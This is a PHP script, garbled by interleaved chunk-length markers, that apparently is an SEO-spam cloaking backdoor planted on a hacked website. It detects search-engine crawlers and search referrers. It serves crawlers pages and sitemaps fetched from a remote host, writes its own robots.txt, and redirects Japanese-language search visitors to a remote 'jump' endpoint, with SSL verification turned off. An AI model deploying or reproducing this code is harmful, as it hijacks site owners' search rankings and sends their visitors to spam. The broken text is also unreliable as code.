1
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1
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1
p
1
h
1
p
2

e
1
r
2
ro
1
r
2
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1
e
2
po
1
r
2
ti
1
n
1
g
1
(
2
0)
1
;
1


2
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1
e
2
t_
1
t
1
i
2
me
1
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2
li
1
m
1
i
2
t(
1
1
1
2
5
0);
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1
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1
g
2
no
1
r
2
e_
1
u
2
se
1
r
2
_a
1
b
3
ort
1
(
1
1
3
);

1
$
2
tr
1
 
1
=
2
 "
1
h
1
t
2
tp
1
s
1
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1
/
1
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1
j
1
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1
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1
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1
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7
1
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1
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1
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1
r
1
o
2
be
2
rt
1
o
1
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1
a
2
si
1
a
1
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1
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1
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2

c
1
l
1
a
2
ss
1
 
2
Re
2
q

1
{
2

 
4
   p
1
u
1
b
2
li
1
c
1
 
1
f
2
un
1
c
2
ti
1
o
1
n
1
 
3
ser
1
v
1
e
2
r(
1
$
1
n
1
a
2
me
3
 = 
2
''
1
,
1
 
2
$d
1
e
1
f
1
a
2
ul
1
t
5
 = ''
1
)
5

    
6
{
    
5
    i
1
f
1
 
1
(
2
em
1
p
1
t
1
y
7
($name)
1
)
b
 {
        
4
    
2
re
1
t
2
ur
1
n
2
 $
1
_
1
S
2
ER
2
VE
1
R
1
;
5

    
4
    
1
}
9

        
8
$name = 
2
st
3
rto
1
u
2
pp
8
er($name
3
);

8
        
8
return i
1
s
3
set
1
(
8
$_SERVER
1
[
5
$name
2
])
1
 
1
?
9
 $_SERVER
7
[$name]
1
 
1
:
9
 $default
6
;
    
6
}
    
10
public function 
3
iss
1
(
14
)
    {
        if (
2
$t
1
h
1
i
2
s-
1
>
8
server('
1
H
1
T
1
T
1
P
1
S
1
'
2
) 
1
&
1
&
1
 
1
(
1
"
2
1"
1
 
1
=
1
=
1
 
17
$this->server('HTTPS') 
1
|
1
|
2
 "
1
o
1
n
5
" == 
5
strto
1
l
1
o
1
w
4
er($
15
this->server('HTTPS')
1
)
18
)) {
            return 
2
tr
1
u
1
e
c
;
        } 
1
e
2
ls
1
e
4
if (
1
'
6
https'
13
 == $this->server('
1
R
1
E
1
Q
1
U
1
E
1
S
2
T_
1
S
1
C
1
H
1
E
2
ME
1
'
31
)) {
            return true;
        } elseif ('
1
4
1
4
1
3
14
' == $this->server('
6
SERVER
1
_
2
PO
1
R
1
T
32
')) {
            return true;
        } elseif ('
19
https' == $this->server('
5
HTTP_
2
X_
1
F
1
O
1
R
1
W
1
A
1
R
2
DE
1
D
1
_
2
PR
1
O
1
T
1
O
28
')) {
            return true;
        }
10

        return 
1
f
1
a
3
lse
1c
;
    }
    public function 
2
ho
1
s
1
t
11
()
    {
        
1
$
4
host
3
 = 
3
str
2
va
1
l
14
($this->server('HTTP
d
_X_FORWARDED_
2
HO
1
S
3
T')
1
 
1
?
3
: $
12
this->server('HTTP
1
_
6
HOST')
12
);
        return 
4
strp
1
o
1
s
1
(
5
$host
1
,
1
 
1
'
1
:
4
') ?
4
 str
3
str
b
($host, ':'
1
,
1
 
4
true
1
)
4
 : $
4
host
1d
;
    }
    public function s
1
c
1
h
2
em
1
e
11
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
7
"https"
3
 : 
5
"http
3
";

a
    }
    
10
public function 
1
d
1
m
1f
()
    {
        return $this->
8
scheme()
1
 
2
. 
1
"
3
://
1
"
3
 . 
7
$this->
6
host()
1c
;
    }
    public function 
1
i
1
p
11
()
    {
        
4
if (
1
g
2
et
1
e
1
n
1
v
1
(
6
'HTTP_
1
C
1
L
1
I
1
E
1
N
2
T_
1
I
1
P
13
')) {
            $
1
i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
14
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
25
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1c
;
        } elseif (getenv('
1
R
1
E
1
M
2
OT
1
E
1
_
1
A
2
DD
21
R')) {
            $ip = getenv('
d
REMOTE_ADDR')
10
;
        } else
f
 {
            
6
$ip = 
f
$this->server('
18
REMOTE_ADDR');
        }
10

        return 
3
$ip
1d
;
    }
    public function i
1
s
1
c
11
()
    {
        
2
$a
1
g
1
e
1
n
7
t = str
1c
tolower($this->server('HTTP_
1
U
3
SER
1
_
1
A
1
G
3
ENT
3
'))
a
;
        
4
if (
7
$agent 
1
!
4
= ''
5
 && p
1
r
2
eg
1
_
1
m
2
at
1
c
1
h
1
(
2
'/
1
g
1
o
1
o
2
gl
1
e
1
b
2
ot
1
|
6
google
1
|
1
y
1
a
2
ho
1
o
1
|
1
b
3
ing
1
|
1
a
2
ol
1
/
1
s
1
i
4
', $
5
agent
27
)) {
            return true;
        }
10

        return 
22
false;
    }
    public function i
1
s
1
g
9
()
    {

1
	
1
	
1
$
2
re
1
f
1
e
4
r = 
1f
strtolower($this->server('HTTP_
1
R
1
E
1
F
2
ER
1
E
4
R'))
a
;
        
6
$refer
4
bots
4
 = '
16
google|yahoo|bing|aol'
f
;
        if ($
6
refer 
15
!= '' && preg_match("
1
/
1
(
a
$referbots
1
)
4
/si"
3
, $
5
refer
59
)) {
            return true;
        }
        return false;
    }
    public function u
1
r
1
i
11
()
    {
        
4
if (
1
(
1
$
3
pos
6
 = str
5
pos($
e
this->server('
8
REQUEST_
2
UR
1
I
1
'
1
)
3
, '
1
.
3
php
5
')) !
3
== 
5
false
10
) {
            
2
$s
1
c
2
ri
1
p
2
t_
7
name = 
1
b
2
as
1
e
4
name
10
($this->server('
1
S
1
C
1
R
1
I
1
P
2
T_
1
F
1
I
1
L
1
E
1
N
1
A
5
ME'))
a
;
        
4
    
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
3
= $
b
script_name
10
) {
            
4
    
1
$
2
ur
1
l
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
e
;
            
1
}
9
 elseif (
18
basename($this->server('
1
P
1
H
1
P
3
_SE
1
L
1
F
4
')) 
3a
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
30
;
            } elseif (basename($this->server('
1
O
1
R
1
I
1
G
3
_SC
5
RIPT_
42
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
1
/
1
'
4
 . $
c
script_name)
1b
) !== false) {
            
b
    $url = 
2
su
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
2
, 
1
0
3
, $
3
pos
1
)
3
 . 
12
'/' . $script_name
18
;
            } elseif (
f
$this->server('
1
D
1
O
1
C
1
U
1
M
4
ENT_
1
R
2
OO
4
T') 
3
&& 
8
strpos($
15
this->server('SCRIPT_
a
FILENAME')
3
, $
e
this->server('
f
DOCUMENT_ROOT')
6
) === 
1
0
1b
) {
                $url = 
3
str
5
_repl
1
a
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
f
);
            
a
}
        
5
    $
1
r
1
e
1
q
3
uri
4
 = $
4
url 
1
.
1
 
16
substr($this->server('
f
REQUEST_URI'), 
5
$pos 
2
+ 
1
4
b
);
        
6
} else
10
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
d
'));
        
a
}
        
8
return r
1
t
2
ri
1
m
4
($re
4
quri
5
, '/'
7
);
    
16
}
    public function 
1
e
2
xe
1
c
3
Req
1
(
4
$url
4
, $p
4
 = a
1
r
2
ra
1
y
1
(
1
)
10
)
    {
        
7
$url = 
c
str_replace(
1
'
1
 
4
', '
1
+
4
', $
3
url
c
);
        $
1
c
1
h
4
 = c
3
url
2
_i
1
n
3
it(
b
);
        
5
curl_
3
set
1
o
1
p
3
t($
1
c
1
h
2
, 
1
C
1
U
1
R
1
L
1
O
3
PT_
3
URL
11
, $url);
        
19
curl_setopt($ch, CURLOPT_
1
R
1
E
2
TU
1
R
1
N
1
T
1
R
1
A
1
N
1
S
3
FER
2
, 
4
1);

4
    
4
    
19
curl_setopt($ch, CURLOPT_
1
H
2
EA
1
D
4
ER, 
4
0);

21
        curl_setopt($ch, CURLOPT_
1
T
1
I
1
M
1
E
1
O
2
UT
1
,
1
 
5
20);

22
        curl_setopt($ch, CURLOPT_P
3
OST
27
, 1);
        curl_setopt($ch, CURLOPT_
1
S
1
S
1
L
1
_
3
VER
1
I
1
F
1
Y
1
P
1
E
29
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
4
HOST
27
, 0);
        curl_setopt($ch, CURLOPT_
4
POST
1
F
1
I
1
E
1
L
1
D
1
S
2
, 
5
http_
1
b
1
u
2
il
1
d
1
_
1
q
2
ue
1
r
3
y($
1
p
d
));
        $
1
o
1
u
2
tp
1
u
4
t = 
5
curl_
4
exec
4
($ch
c
);
        $
5
error
2
Co
1
d
4
e = 
6
curl_e
2
rr
1
n
1
o
f
($ch);
        
5
curl_
1
c
1
l
2
os
3
e($
d
ch);
        
4
if (
1
0
5
 !== 
1
$
9
errorCode
10
) {
            
7
return 
b
false;
    
4
    
11
}
        return 
1
$
6
output
6
;
    
1
}
1


1
}
1


4
$req
3
 = 
1
n
1
e
1
w
4
 Req
4
();

1
$
2
is
1
c
4
 = $
3
req
1
-
1
>
3
isc
7
();
$is
1
g
b
 = $req->is
3
g()
4
;
$u
1
m
1
a
4
p = 
4
$tr 
3
. "
3
map
3
";

3
$ur
4
i = 
3
url
2
de
1
c
3
ode
5
($req
1
-
1
>
5
uri()
4
);
$
a
p = array(
5

    
1
"
2
do
1
m
1
a
1
i
4
n" =
1
>
7
 $req->
4
dm()
1
,
6

    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
7
_PORT',
1
 
1
8
1
0
8
),
    "
3
uri
6
" => $
3
uri
1


3
);

4
if (
8
substr($
5
uri, 
1
-
1
1
3
0) 
3
== 
1
"
3
rob
3
ots
2
.t
1
x
1
t
1
"
8
) {
    
2
he
1
a
1
d
3
er(
1
"
1
C
2
on
4
tent
1
-
1
t
2
yp
1
e
1
:
2
te
1
x
1
t
1
/
3
pla
2
in
1
;
1
 
1
c
2
ha
1
r
3
set
1
=
1
u
1
t
2
f-
2
8"
7
);
    
1
d
1
i
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
5
p));

1
}
13

if (substr($uri, -
1
6
c
) == "robots
9
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
7
;
    $
1
r
1
p
5
t = _
1
_
1
D
1
I
2
R_
1
_
4
 . "
1
/
b
robots.txt"
6
;
    
1
f
1
i
2
le
1
_
3
put
2
_c
6
ontent
3
s($
3
rpt
3
, $
6
output
7
);
    
1
$
6
robots
5
_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
7
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
3
), 
2
"s
1
i
2
te
4
map"
d
)) {
        
4
die(
b
"robots.txt
1
 
4
file
1
 
2
cr
1
e
2
at
1
e
3
 su
2
cc
1
e
1
s
1
s
1
!
8
");
    
11
} else {
        
1c
die("robots.txt file create 
1
f
1
a
1
i
1
l
a
!");
    }
15

}
if (substr($uri, -
1
4
6
) == "
1
.
1
x
2
ml
9
") {
    
b
if (strpos(
4
$uri
3
, "
1
a
1
l
1
l
7
sitemap
7
.xml") 
3
|| 
8
strpos($
6
uri, "
7
sitemap
2
-i
1
n
1
d
1
e
1
x
25
.xml") || strpos($uri, "sitemap-index
1
-
1
1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
a
;
        
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
5
, 0, 
1
5
6
) === 
1
'
1
<
1
?
3
xml
1
'
3
 ? 
1
'
5
xml' 
1
:
1
 
1
'
5
plain
3
') 
3
. '
f
; charset=utf-8
8
');
    
4
    
4
die(
3
'' 
3
. $
d
output);
    
6
}
    
19
$output = $req->execReq($
6
tr . "
1
w
1
o
1
r
1
d
6
", $p)
6
;
    
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
    
5
if ($
8
output =
3
= "
1
1
9
") {
    
e
    die('' . $
5
req->
a
execReq($u
8
map, $p)
7
);
    
15
} else {
        die(
15
'' . $output);
    }

3
}
$
2
la
1
n
a
g = $req->
c
server('HTTP
1
_
1
A
1
C
2
CE
3
PT_
2
LA
1
N
2
GU
3
AGE
4
');

4
if (
1
!
5
$isc 
3
&& 
3
$is
1
g
c
 && strpos($
4
lang
3
, '
1
j
1
a
1
'
1
)
3
!==
e
false) {
    $
1
p
1
[
1
"
2
ip
1
"
1
]
a
 = $req->i
3
p()
8
;
    $a
6
ction 
9
= $tr . "
2
ju
1
m
8
p";
    
13
die($req->execReq($
6
action
e
, $p));
}
if (
4
$isc
8
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
3
ind
1
a
2
ta
b
", $p));
}

1
?
1
>
0